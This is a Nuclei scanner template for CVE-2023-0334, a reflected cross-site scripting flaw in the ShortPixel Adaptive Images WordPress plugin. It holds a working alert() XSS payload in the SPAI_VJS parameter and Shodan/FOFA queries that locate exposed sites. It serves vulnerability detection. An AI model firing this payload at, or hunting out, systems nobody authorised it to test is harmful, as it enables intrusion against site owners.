nuclei-templates/http/cves/2023/CVE-2023-0334.yaml

44 lines
1.8 KiB
YAML
Raw Normal View History

2023-10-17 07:20:28 +00:00
id: CVE-2023-0334
info:
name: ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin
remediation: Fixed in version 3.6.3
2023-10-17 07:20:28 +00:00
reference:
- https://wpscan.com/vulnerability/b027a8db-0fd6-444d-b14a-0ae58f04f931
- https://nvd.nist.gov/vuln/detail/CVE-2023-0334
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0334
2023-10-17 07:20:28 +00:00
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.00119
epss-percentile: 0.46131
cpe: cpe:2.3:a:shortpixel:shortpixel_adaptive_images:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata:
verified: true
max-request: 1
vendor: shortpixel
product: shortpixel_adaptive_images
framework: wordpress
2024-05-31 19:23:20 +00:00
shodan-query: http.html:/wp-content/plugins/shortpixel-adaptive-images/
fofa-query: body=/wp-content/plugins/shortpixel-adaptive-images/
publicwww-query: /wp-content/plugins/shortpixel-adaptive-images/
2024-01-14 09:21:50 +00:00
tags: cve2023,cve,xss,wpscan,wordpress,wp-plugin,wp,shortpixel-adaptive-images,shortpixel
2023-10-17 07:20:28 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "shortpixel") && contains(body, "</script><img src=1 onerror=alert(document.domain)>")'
condition: and
# digest: 4b0a00483046022100f9fa2b52bf2536bca562c0635d3f1788a120768830a3f226cb798cd85b4ebae1022100f8a848371eb718d287123a0c59cecb3cf4a024ab502b1b0439593c39a5ff1cb1:922c64590222798bb761d5b6d8e72950